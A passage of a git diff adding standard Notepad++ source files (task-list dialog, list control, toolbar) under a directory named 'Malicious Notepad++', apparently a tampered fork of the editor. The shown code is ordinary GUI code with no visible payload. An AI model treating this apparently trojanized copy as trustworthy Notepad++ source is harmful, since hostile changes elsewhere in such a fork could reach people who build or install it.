Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include "TaskList.h" +#include "TaskListDlg_rc.h" +#include "colors.h" +#include "ImageListSet.h" +#include "Parameters.h" + +void TaskList::init(HINSTANCE hInst, HWND parent, HIMAGELIST hImaLst, int nbItem, int index2set) +{ + Window::init(hInst, parent); + + _currentIndex = index2set; + + INITCOMMONCONTROLSEX icex; + + // Ensure that the common control DLL is loaded. + icex.dwSize = sizeof(INITCOMMONCONTROLSEX); + icex.dwICC = ICC_LISTVIEW_CLASSES; + InitCommonControlsEx(&icex); + + _nbItem = nbItem; + + // Create the list-view window in report view with label editing enabled. + int listViewStyles = LVS_REPORT | LVS_OWNERDATA | LVS_NOCOLUMNHEADER | LVS_NOSORTHEADER\ + | /*LVS_NOSCROLL |*/ LVS_SINGLESEL | LVS_AUTOARRANGE | LVS_OWNERDRAWFIXED\ + | LVS_SHAREIMAGELISTS/* | WS_BORDER*/; + + _hSelf = ::CreateWindow(WC_LISTVIEW, + TEXT(""), + WS_CHILD | listViewStyles, + 0, + 0, + 0, + 0, + _hParent, + NULL, + hInst, + NULL); + if (!_hSelf) + { + throw std::runtime_error("TaskList::init : CreateWindowEx() function return null"); + } + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _defaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticProc))); + + DWORD exStyle = ListView_GetExtendedListViewStyle(_hSelf); + exStyle |= LVS_EX_FULLROWSELECT | LVS_EX_BORDERSELECT ; + ListView_SetExtendedListViewStyle(_hSelf, exStyle); + + + LVCOLUMN lvColumn; + lvColumn.mask = LVCF_WIDTH; + + lvColumn.cx = 500; + + ListView_InsertColumn(_hSelf, 0, &lvColumn); + + ListView_SetItemCountEx(_hSelf, _nbItem, LVSICF_NOSCROLL); + ListView_SetImageList(_hSelf, hImaLst, LVSIL_SMALL); + + ListView_SetItemState(_hSelf, _currentIndex, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED); + ListView_SetBkColor(_hSelf, lightYellow); +} + +void TaskList::destroy() +{ + if (_hFont) + DeleteObject(_hFont); + if (_hFontSelected) + DeleteObject(_hFontSelected); + ::DestroyWindow(_hSelf); + _hSelf = NULL; +} + +RECT TaskList::adjustSize() +{ + RECT rc; + ListView_GetItemRect(_hSelf, 0, &rc, LVIR_ICON); + const int imgWidth = rc.right - rc.left; + const int aSpaceWidth = ListView_GetStringWidth(_hSelf, TEXT(" ")); + const int leftMarge = ::GetSystemMetrics(SM_CXFRAME) * 2 + aSpaceWidth * 4; + + // Temporary set "selected" font to get the worst case widths + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(_hFontSelected), 0); + int maxwidth = -1; + + _rc = { 0, 0, 0, 0 }; + TCHAR buf[MAX_PATH]; + for (int i = 0 ; i < _nbItem ; ++i) + { + ListView_GetItemText(_hSelf, i, 0, buf, MAX_PATH); + int width = ListView_GetStringWidth(_hSelf, buf); + if (width > maxwidth) + maxwidth = width; + _rc.bottom += rc.bottom - rc.top; + } + + _rc.right = maxwidth + imgWidth + leftMarge; + ListView_SetColumnWidth(_hSelf, 0, _rc.right); + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(_hFont), 0); + + //if the tasklist exceeds the height of the display, leave some space at the bottom + if (_rc.bottom > ::GetSystemMetrics(SM_CYSCREEN) - 120) + { + _rc.bottom = ::GetSystemMetrics(SM_CYSCREEN) - 120; + } + reSizeTo(_rc); + + // Task List's border is 1px smaller than ::GetSystemMetrics(SM_CYFRAME) returns + _rc.bottom += (::GetSystemMetrics(SM_CYFRAME) - 1) * 2; + return _rc; +} + +void TaskList::setFont(TCHAR *fontName, int fontSize) +{ + if (_hFont) + ::DeleteObject(_hFont); + if (_hFontSelected) + ::DeleteObject(_hFontSelected); + + _hFont = ::CreateFont(fontSize, 0, 0, 0, + FW_NORMAL, + 0, 0, 0, 0, + 0, 0, 0, 0, + fontName); + + _hFontSelected = ::CreateFont(fontSize, 0, 0, 0, + FW_BOLD, + 0, 0, 0, 0, + 0, 0, 0, 0, + fontName); + + if (_hFont) + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(_hFont), 0); +} + +int TaskList::updateCurrentIndex() +{ + for (int i = 0 ; i < _nbItem ; ++i) + { + int isSelected = ListView_GetItemState(_hSelf, i, LVIS_SELECTED); + if (isSelected == LVIS_SELECTED) + { + _currentIndex = i; + return _currentIndex; + } + } + return _currentIndex; +} + +LRESULT TaskList::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_KEYUP: + { + if (wParam == VK_CONTROL) + { + ::SendMessage(_hParent, WM_COMMAND, ID_PICKEDUP, _currentIndex); + } + } + return TRUE; + + case WM_MOUSEWHEEL : + { + short zDelta = (short) HIWORD(wParam); + if (zDelta > 0) + { + int32_t selected = (_currentIndex - 1) < 0 ? (_nbItem - 1) : (_currentIndex - 1); + ListView_SetItemState(_hSelf, _currentIndex, 0, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, _currentIndex, _currentIndex); + // repaint item(s) + UpdateWindow(_hSelf); + ListView_SetItemState(_hSelf, selected, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, selected, selected); + // repaint item(s) + UpdateWindow(_hSelf); + _currentIndex = selected; + } + else + { + int32_t selected = (_currentIndex + 1) > (_nbItem - 1) ? 0 : (_currentIndex + 1); + ListView_SetItemState(_hSelf, _currentIndex, 0, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, _currentIndex, _currentIndex); + // repaint item(s) + UpdateWindow(_hSelf); + ListView_SetItemState(_hSelf, selected, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, selected, selected); + // repaint item(s) + UpdateWindow(_hSelf); + _currentIndex = selected; + } + ListView_EnsureVisible(_hSelf, _currentIndex, true); + return TRUE; + } + + case WM_KEYDOWN : + { + return TRUE; + } + + + case WM_GETDLGCODE : + { + MSG *msg = (MSG*)lParam; + + if ( msg != NULL) + { + if ((msg->message == WM_KEYDOWN) && (0x80 & GetKeyState(VK_CONTROL))) + { + // Shift+Tab is cool but I think VK_UP and VK_LEFT are also cool :-) + if (((msg->wParam == VK_TAB) && (0x80 & GetKeyState(VK_SHIFT))) || + (msg->wParam == VK_UP)) + { + int32_t selected = (_currentIndex - 1) < 0 ? (_nbItem - 1) : (_currentIndex - 1); + ListView_SetItemState(_hSelf, _currentIndex, 0, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, _currentIndex, _currentIndex); + // repaint item(s) + UpdateWindow(_hSelf); + ListView_SetItemState(_hSelf, selected, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, selected, selected); + // repaint item(s) + UpdateWindow(_hSelf); + _currentIndex = selected; + } + // VK_DOWN and VK_RIGHT do the same as VK_TAB does + else if ((msg->wParam == VK_TAB) || (msg->wParam == VK_DOWN)) + { + int32_t selected = (_currentIndex + 1) > (_nbItem - 1) ? 0 : (_currentIndex + 1); + ListView_SetItemState(_hSelf, _currentIndex, 0, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, _currentIndex, _currentIndex); + // repaint item(s) + UpdateWindow(_hSelf); + ListView_SetItemState(_hSelf, selected, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED); + // tells what item(s) to be repainted + ListView_RedrawItems(_hSelf, selected, selected); + // repaint item(s) + UpdateWindow(_hSelf); + _currentIndex = selected; + } + ListView_EnsureVisible(_hSelf, _currentIndex, true); + } + else + { + return TRUE; + } + } + return DLGC_WANTALLKEYS ; + } + + default : + return ::CallWindowProc(_defaultProc, hwnd, Message, wParam, lParam); + } +} + diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskList.h b/Malicious Notepad++/src/WinControls/TaskList/TaskList.h new file mode 100644 index 0000000..7a3ecb4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskList.h @@ -0,0 +1,78 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include +#include +#include "Window.h" + +#ifndef WM_MOUSEWHEEL +#define WM_MOUSEWHEEL 0x020A +#endif //WM_MOUSEWHEEL + +class TaskList : public Window +{ +public: + TaskList() : Window() { + _rc.left = 0; + _rc.top = 0; + _rc.right = 150; + _rc.bottom = 0; + }; + + virtual ~TaskList() {}; + void init(HINSTANCE hInst, HWND hwnd, HIMAGELIST hImaLst, int nbItem, int index2set); + virtual void destroy(); + void setFont(TCHAR *fontName, int fontSize); + RECT adjustSize(); + int getCurrentIndex() const {return _currentIndex;} + int updateCurrentIndex(); + + HIMAGELIST getImgLst() const { + return ListView_GetImageList(_hSelf, LVSIL_SMALL); + }; + + HFONT GetFontSelected() {return _hFontSelected;} + +protected: + + WNDPROC _defaultProc; + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK staticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((TaskList *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam)); + }; + + HFONT _hFont = nullptr; + HFONT _hFontSelected = nullptr; + int _nbItem = 0; + int _currentIndex = 0; + RECT _rc; +}; + diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.cpp b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.cpp new file mode 100644 index 0000000..dfa59e5 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.cpp @@ -0,0 +1,229 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "TaskListDlg.h" +#include "Parameters.h" +#include "resource.h" + +int TaskListDlg::_instanceCount = 0; + +LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + if ((nCode >= 0) && (wParam == WM_RBUTTONUP)) + { + ::PostMessage(hWndServer, WM_RBUTTONUP, 0, 0); + } + else if ((nCode >= 0) && (wParam == WM_MOUSEWHEEL) && windowsVersion >= WV_WIN10) + { + MSLLHOOKSTRUCT* pMD = (MSLLHOOKSTRUCT*)lParam; + RECT rCtrl; + GetWindowRect(hWndServer, &rCtrl); + //to avoid duplicate messages, only send this message to the list control if it comes from outside the control window. if the message occurs whilst the mouse is inside the control, the control will have receive the mouse wheel message itself + if (false == PtInRect(&rCtrl, pMD->pt)) + { + ::PostMessage(hWndServer, WM_MOUSEWHEEL, (WPARAM)pMD->mouseData, MAKELPARAM(pMD->pt.x, pMD->pt.y)); + } + } + + return ::CallNextHookEx(hook, nCode, wParam, lParam); +} + + int TaskListDlg::doDialog(bool isRTL) + { + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_VALUE_DLG, &pMyDlgTemplate); + int result = static_cast(::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this))); + ::GlobalFree(hMyDlgTemplate); + return result; + } + return static_cast(::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_TASKLIST_DLG), _hParent, dlgProc, reinterpret_cast(this))); +} + +INT_PTR CALLBACK TaskListDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_INITDIALOG : + { + ::SendMessage(_hParent, WM_GETTASKLISTINFO, reinterpret_cast(&_taskListInfo), 0); + int nbTotal = static_cast(_taskListInfo._tlfsLst.size()); + + int i2set = _taskListInfo._currentIndex + (_initDir == dirDown?1:-1); + + if (i2set < 0) + i2set = nbTotal - 1; + + if (i2set > (nbTotal - 1)) + i2set = 0; + + _taskList.init(_hInst, _hSelf, _hImalist, nbTotal, i2set); + _taskList.setFont(TEXT("Verdana"), NppParameters::getInstance()->_dpiManager.scaleY(14)); + _rc = _taskList.adjustSize(); + + reSizeTo(_rc); + goToCenter(); + + _taskList.display(true); + hWndServer = _hSelf; + windowsVersion = NppParameters::getInstance()->getWinVersion(); + +#ifndef WH_MOUSE_LL +#define WH_MOUSE_LL 14 +#endif + _hHooker = ::SetWindowsHookEx(WH_MOUSE_LL, hookProc, _hInst, 0); + hook = _hHooker; + return FALSE; + } + + case WM_DESTROY : + { + _taskList.destroy(); + ::UnhookWindowsHookEx(_hHooker); + _instanceCount--; + return TRUE; + } + + + case WM_RBUTTONUP: + { + ::SendMessage(_hSelf, WM_COMMAND, ID_PICKEDUP, _taskList.getCurrentIndex()); + return TRUE; + } + + case WM_MOUSEWHEEL: + { + ::SendMessage(_taskList.getHSelf(), WM_MOUSEWHEEL, wParam, lParam); + return TRUE; + } + + case WM_DRAWITEM : + { + drawItem((DRAWITEMSTRUCT *)lParam); + return TRUE; + } + + case WM_NOTIFY: + { + switch (((LPNMHDR)lParam)->code) + { + case LVN_GETDISPINFO: + { + LV_ITEM &lvItem = reinterpret_cast(reinterpret_cast(lParam))->item; + + TaskLstFnStatus & fileNameStatus = _taskListInfo._tlfsLst[lvItem.iItem]; + + lvItem.pszText = (TCHAR *)fileNameStatus._fn.c_str(); + lvItem.iImage = fileNameStatus._status; + + return TRUE; + } + + case NM_CLICK : + case NM_RCLICK : + { + ::SendMessage(_hSelf, WM_COMMAND, ID_PICKEDUP, _taskList.updateCurrentIndex()); + return TRUE; + } + + default: + break; + } + break; + } + + case WM_COMMAND : + { + switch (wParam) + { + case ID_PICKEDUP : + { + auto listIndex = lParam; + int view2set = _taskListInfo._tlfsLst[listIndex]._iView; + int index2Switch = _taskListInfo._tlfsLst[listIndex]._docIndex; + ::SendMessage(_hParent, NPPM_ACTIVATEDOC, view2set, index2Switch); + ::EndDialog(_hSelf, -1); + return TRUE; + } + + default: + return FALSE; + } + } + + default : + return FALSE; + } + + return FALSE; +} + +void TaskListDlg::drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct) +{ + RECT rect = lpDrawItemStruct->rcItem; + HDC hDC = lpDrawItemStruct->hDC; + int nItem = lpDrawItemStruct->itemID; + const TCHAR *label = _taskListInfo._tlfsLst[nItem]._fn.c_str(); + int iImage = _taskListInfo._tlfsLst[nItem]._status; + + const int aSpaceWidth = ListView_GetStringWidth(_taskList.getHSelf(), TEXT(" ")); + + COLORREF textColor = darkGrey; + int imgStyle = ILD_SELECTED; + + if (lpDrawItemStruct->itemState & ODS_SELECTED) + { + imgStyle = ILD_TRANSPARENT; + textColor = black; + ::SelectObject(hDC, _taskList.GetFontSelected()); + } + + // + // DRAW IMAGE + // + HIMAGELIST hImgLst = _taskList.getImgLst(); + + IMAGEINFO info; + ::ImageList_GetImageInfo(hImgLst, iImage, &info); + + RECT & imageRect = info.rcImage; + // center icon position, prefer bottom orientation + imageRect.top = ((rect.bottom - rect.top) - (imageRect.bottom - imageRect.top) + 1) / 2; + + rect.left += aSpaceWidth; + ::ImageList_Draw(hImgLst, iImage, hDC, rect.left, rect.top + imageRect.top, imgStyle); + rect.left += imageRect.right - imageRect.left + aSpaceWidth * 2; + + // + // DRAW TEXT + // + ::SetTextColor(hDC, textColor); + ::DrawText(hDC, label, lstrlen(label), &rect, DT_SINGLELINE | DT_VCENTER | DT_LEFT); +} diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.h b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.h new file mode 100644 index 0000000..62d50a0 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.h @@ -0,0 +1,88 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "Common.h" +#include "StaticDialog.h" +#include "TaskListDlg_rc.h" +#include "TaskList.h" +#include "Notepad_plus_msgs.h" + +#define TASKLIST_USER (WM_USER + 8000) +#define WM_GETTASKLISTINFO (TASKLIST_USER + 01) + +struct TaskLstFnStatus { + int _iView = -1; + int _docIndex = 0; + generic_string _fn; + int _status = 0; + void *_bufID = nullptr; + TaskLstFnStatus(generic_string str, int status) : _fn(str), _status(status){}; + TaskLstFnStatus(int iView, int docIndex, generic_string str, int status, void *bufID) : + _iView(iView), _docIndex(docIndex), _fn(str), _status(status), _bufID(bufID) {}; +}; + +struct TaskListInfo { + std::vector _tlfsLst; + int _currentIndex = -1; +}; + +static HWND hWndServer = NULL; +static HHOOK hook = NULL; +static winVer windowsVersion = WV_UNKNOWN; + +static LRESULT CALLBACK hookProc(UINT nCode, WPARAM wParam, LPARAM lParam); + +class TaskListDlg : public StaticDialog +{ +public : + TaskListDlg() : StaticDialog() { _instanceCount++; }; + void init(HINSTANCE hInst, HWND parent, HIMAGELIST hImgLst, bool dir) { + Window::init(hInst, parent); + _hImalist = hImgLst; + _initDir = dir; + }; + int doDialog(bool isRTL = false); + virtual void destroy() {}; + +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + +private : + TaskList _taskList; + TaskListInfo _taskListInfo; + HIMAGELIST _hImalist = nullptr; + bool _initDir = false; + HHOOK _hHooker = nullptr; + + void drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct); +public: + static int _instanceCount; +}; + diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.rc b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.rc new file mode 100644 index 0000000..b67597c --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg.rc @@ -0,0 +1,37 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "TaskListDlg_rc.h" + +IDD_TASKLIST_DLG DIALOGEX DISCARDABLE 0, 0, 300, 300 +STYLE WS_POPUP | WS_VISIBLE | WS_THICKFRAME +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN +END + diff --git a/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg_rc.h b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg_rc.h new file mode 100644 index 0000000..88a0a7f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TaskList/TaskListDlg_rc.h @@ -0,0 +1,35 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef TASKLISTDLGRC_H +#define TASKLISTDLGRC_H + +#define IDD_TASKLIST_DLG 2450 + #define ID_PICKEDUP (IDD_TASKLIST_DLG + 1) + +#endif // TASKLISTDLGRC_H diff --git a/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.cpp b/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.cpp new file mode 100644 index 0000000..9e02c5a --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ToolBar/ToolBar.cpp @@ -0,0 +1,570 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include "ToolBar.h" +#include "shortcut.h" +#include "Parameters.h" +#include "FindReplaceDlg_rc.h" + +const int WS_TOOLBARSTYLE = WS_CHILD | WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | TBSTYLE_TOOLTIPS |TBSTYLE_FLAT | CCS_TOP | BTNS_AUTOSIZE | CCS_NOPARENTALIGN | CCS_NORESIZE | CCS_NODIVIDER; + +void ToolBar::initTheme(TiXmlDocument *toolIconsDocRoot) +{ + _toolIcons = toolIconsDocRoot->FirstChild(TEXT("NotepadPlus")); + if (_toolIcons) + { + _toolIcons = _toolIcons->FirstChild(TEXT("ToolBarIcons")); + if (_toolIcons) + { + _toolIcons = _toolIcons->FirstChild(TEXT("Theme")); + if (_toolIcons) + { + const TCHAR *themeDir = (_toolIcons->ToElement())->Attribute(TEXT("pathPrefix")); + + for (TiXmlNode *childNode = _toolIcons->FirstChildElement(TEXT("Icon")); + childNode ; + childNode = childNode->NextSibling(TEXT("Icon"))) + { + int iIcon; + const TCHAR *res = (childNode->ToElement())->Attribute(TEXT("id"), &iIcon); + if (res) + { + TiXmlNode *grandChildNode = childNode->FirstChildElement(TEXT("normal")); + if (grandChildNode) + { + TiXmlNode *valueNode = grandChildNode->FirstChild(); + //putain, enfin!!! + if (valueNode) + { + generic_string locator = themeDir?themeDir:TEXT(""); + + locator += valueNode->Value(); + _customIconVect.push_back(iconLocator(0, iIcon, locator)); + } + } + + grandChildNode = childNode->FirstChildElement(TEXT("hover")); + if (grandChildNode) + { + TiXmlNode *valueNode = grandChildNode->FirstChild(); + //putain, enfin!!! + if (valueNode) + { + generic_string locator = themeDir?themeDir:TEXT(""); + + locator += valueNode->Value(); + _customIconVect.push_back(iconLocator(1, iIcon, locator)); + } + } + + grandChildNode = childNode->FirstChildElement(TEXT("disabled")); + if (grandChildNode) + { + TiXmlNode *valueNode = grandChildNode->FirstChild(); + //putain, enfin!!! + if (valueNode) + { + generic_string locator = themeDir?themeDir:TEXT(""); + + locator += valueNode->Value(); + _customIconVect.push_back(iconLocator(2, iIcon, locator)); + } + } + } + } + } + } + } +} + +bool ToolBar::init( HINSTANCE hInst, HWND hPere, toolBarStatusType type, + ToolBarButtonUnit *buttonUnitArray, int arraySize) +{ + Window::init(hInst, hPere); + _state = type; + int iconSize = NppParameters::getInstance()->_dpiManager.scaleX(_state == TB_LARGE?32:16); + + _toolBarIcons.init(buttonUnitArray, arraySize); + _toolBarIcons.create(_hInst, iconSize); + + INITCOMMONCONTROLSEX icex; + icex.dwSize = sizeof(INITCOMMONCONTROLSEX); + icex.dwICC = ICC_WIN95_CLASSES|ICC_COOL_CLASSES|ICC_BAR_CLASSES|ICC_USEREX_CLASSES; + InitCommonControlsEx(&icex); + + //Create the list of buttons + _nbButtons = arraySize; + _nbDynButtons = _vDynBtnReg.size(); + _nbTotalButtons = _nbButtons + (_nbDynButtons ? _nbDynButtons + 1 : 0); + _pTBB = new TBBUTTON[_nbTotalButtons]; //add one for the extra separator + + int cmd = 0; + int bmpIndex = -1, style; + size_t i = 0; + for (; i < _nbButtons ; ++i) + { + cmd = buttonUnitArray[i]._cmdID; + if (cmd != 0) + { + ++bmpIndex; + style = BTNS_BUTTON; + } + else + { + style = BTNS_SEP; + } + + _pTBB[i].iBitmap = (cmd != 0?bmpIndex:0); + _pTBB[i].idCommand = cmd; + _pTBB[i].fsState = TBSTATE_ENABLED; + _pTBB[i].fsStyle = (BYTE)style; + _pTBB[i].dwData = 0; + _pTBB[i].iString = 0; + } + + if (_nbDynButtons > 0) { + //add separator + _pTBB[i].iBitmap = 0; + _pTBB[i].idCommand = 0; + _pTBB[i].fsState = TBSTATE_ENABLED; + _pTBB[i].fsStyle = BTNS_SEP; + _pTBB[i].dwData = 0; + _pTBB[i].iString = 0; + ++i; + //add plugin buttons + for (size_t j = 0; j < _nbDynButtons ; ++j, ++i) + { + cmd = _vDynBtnReg[j].message; + ++bmpIndex; + + _pTBB[i].iBitmap = bmpIndex; + _pTBB[i].idCommand = cmd; + _pTBB[i].fsState = TBSTATE_ENABLED; + _pTBB[i].fsStyle = BTNS_BUTTON; + _pTBB[i].dwData = 0; + _pTBB[i].iString = 0; + } + } + + reset(true); //load icons etc + + return true; +} + +void ToolBar::destroy() { + if (_pRebar) { + _pRebar->removeBand(_rbBand.wID); + _pRebar = NULL; + } + delete [] _pTBB; + ::DestroyWindow(_hSelf); + _hSelf = NULL; + _toolBarIcons.destroy(); +}; + +int ToolBar::getWidth() const { + RECT btnRect; + int totalWidth = 0; + for(size_t i = 0; i < _nbCurrentButtons; ++i) { + ::SendMessage(_hSelf, TB_GETITEMRECT, i, reinterpret_cast(&btnRect)); + totalWidth += btnRect.right - btnRect.left; + } + return totalWidth; +} + +int ToolBar::getHeight() const { + DWORD size = static_cast(SendMessage(_hSelf, TB_GETBUTTONSIZE, 0, 0)); + DWORD padding = static_cast(SendMessage(_hSelf, TB_GETPADDING, 0, 0)); + int totalHeight = HIWORD(size) 